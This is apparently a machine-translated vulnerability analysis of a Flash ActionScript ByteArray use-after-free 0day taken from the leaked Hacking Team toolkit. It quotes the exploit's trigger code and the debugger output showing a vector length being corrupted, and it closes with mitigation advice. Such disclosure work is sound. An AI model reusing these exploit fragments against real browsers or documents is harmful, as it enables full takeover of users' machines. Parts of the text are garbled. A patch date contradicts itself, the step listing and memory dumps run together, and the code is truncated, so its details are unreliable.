Hacking Team attack code analysis Part 1: Flash 0day

Hacking Team attack code analysis Part 1: Flash 0day

Recently, Hacking Team, a hacker company dedicated to network listening through attack techniques, was hacked and leaked GB of data containing the company's emails, documents, and attack code. 360 the Vulcan Team immediately obtained the relevant information and analyzed the attack code.

We found that at least two remote code execution vulnerabilities for Adobe Flash and a complete attack code (exploit) against the Microsoft Windows Kernel font elevation vulnerability were found ). One of the Flash vulnerabilities was fixed on July 15, April this year, and the other two vulnerabilities were not fixed.

The Flash Vulnerability exploit is designed to attack IE, Chrome, and Office software. Attackers embed specially crafted malicious Flash files into webpages or Office documents to infect users accessing specific webpages or opening Office documents with malicious code. In addition, these malicious codes can bypass IE (protection mode or enhanced protection mode), Chrome (Chrome Sandbox, <Chrome 43) by combining the Windows Kernel font elevation vulnerability) and Office (protection mode) sandbox protection, full control of the user's computer.

360 the Vulcan Team analyzes these vulnerabilities and shares the 0day information to the security community in three parts. It is hoped that software vendors and security vendors will take joint actions, fix and defend against these "active" 0-day vulnerabilities as soon as possible.

Flash 0day-ActionScript ByteArray Buffer Use After Free

It seems that HackingTeam's Remote exploit tool widely uses the same flash Vulnerability (the attack targets can be IE, Chrome, and Office series ):

 

After preliminary analysis of this Exploit, we found that this Exploit can still be triggered in the latest version of Adobe Flash (18.0.0.194), so this should be a 0-day vulnerability.

Vulnerability Principle Analysis

This vulnerability is caused by the Use After Free vulnerability caused by improper Use of ByteArray buffer.

Let's take a look at the exploit code leaked by HackingTeam. The key parts are as follows:

1. Define ByteArray

for(var i:int; i < alen; i+=3){                 a[i] = new Class2(i);                                 a[i+1] = new ByteArray();                 a[i+1].length = 0xfa0;                                 a[i+2] = new Class2(i+2);             }

First, define a series of bytearrays. The initial size of these bytearrays is set to 0xfa0, and each Buffer is allocated with a memory size of 0 × 1000 in ActionScript.

1. assign a value to the ByteArray element:

_ba = a[i];                 // call valueOf() and cause UaF memory corruption                 _ba[3] = new Clasz();

This step is the key to triggering the vulnerability. Because the element type of ByteArray is Byte, when the Clasz class is assigned to ByteArray [3], AVM will try to convert it to Byte, in this case, the valueOf function of Clasz will be called:

prototype.valueOf = function()     {         ref = new Array(5);         collect.push(ref);                 // realloc         _ba.length = 0x1100;                 // use after free         for (var i:int; i < ref.length; i++)             ref[i] = new Vector.
 
  (0x3f0);                 return 0x40     }
 

In the valueOf function, the most important thing is to change the length of ByteArray and set it to 0 × 1100. This operation will trigger the redistribution of buffer in ByteArray, the old buffer (0x1000 in size) will be released. Then the exploit code will allocate several vectors. Object, each vector also occupies 0 × 1000 bytes of memory, and tries to re-use the memory of the released ByteArray buffer.

The valueOf function returns 0 × 40, and then 0 × 40 will be written to buffer [3]. If the logic is correct, the newly allocated buffer should be written here. However, due to code vulnerabilities, the released buffer of 0x1000 is written here. Therefore, the header of the vector object is actually written. The whole process is as follows:

1. ByteArray create and set the length 0xfe0:

Old buffer | 0 0x10002. set _ ba [3], call valueOf, and set ByteArray in valueOf. length = 0x1100. In this case, the old buffer is released. old buffer (Freed) | 0 0x10003. the 0x10004 vector occupies the old buffer memory. The first four bytes are the length field of the vector: Vector | f0 03 00 00 | 0 0 x. valueOf returns 0x40, 0x40 written to buffer [3]. Due to the UAF vulnerability, the size field of vector is written: Vector | f0 03 00 40 | 0 0x1000.

So we can get a super-long vector object:

 

We can observe the vulnerability trigger process through debugging:

1. Before valueOf is called

0: 005> u671cf2a5 call 671b0930 // call valueOf671cf2aa 83c404 add esp, 4671cf2ad 8806 mov byte ptr [esi], al671cf2af 5e pop esi

In this case, esi points to the old buffer:

0:005> dd esi-30dfd5000  00000000 00000000 00000000 000000000dfd5010  00000000 00000000 00000000 00000000

2. After valueOf is called, the old buffer is released and occupied by the vector:

0:005> p671cf2aa 83c404          add     esp,4

At this time, esi has pointed to the new vector, and the buffer has been released.

0:005> dd esi-30dfd5000  000003f0 0d2b3000 00000000 000000000dfd5010  00000000 00000000 00000000 000000000dfd5020  00000000 00000000 00000000 000000000dfd5030  00000000 00000000 00000000 000000000dfd5040  00000000 00000000 00000000 000000000dfd5050  00000000 00000000 00000000 000000000dfd5060  00000000 00000000 00000000 000000000dfd5070  00000000 00000000 00000000 00000000

3. Write buffer [3

The value 0x40 of valueOf is written to buffer [3] (and the vector. size Field ):

0:005> peax=00000040 ebx=0d8b4921 ecx=00000206 edx=00000006 esi=0dfd5003 edi=0d362020eip=671cf2ad esp=04f2ceec ebp=04f2d050 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07d:671cf2ad 8806            mov     byte ptr [esi],al          ds:0023:0dfd5003=000:005> pFlash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07f:671cf2af 5e              pop     esi0:005> dd esi-30dfd5000  400003f0 0d2b3000 00000000 000000000dfd5010  00000000 00000000 00000000 000000000dfd5020  00000000 00000000 00000000 000000000dfd5030  00000000 00000000 00000000 00000000

We can see the length of the vector and its modification to 0x400003f0.

Vulnerability prevention

Because the vulnerability is very stable to be exploited, Adobe has not released a patch for the vulnerability. What's more terrible is that from the data leaked by HackingTeam, the exploit also has the sandbox Privilege Escalation function, great harm. We recommend that you temporarily disable the flash plug-in before the patch is released, or enable the Click-to-Run function for the plug-in Chrome or Chrome core browser to mitigate the Flash 0day attack.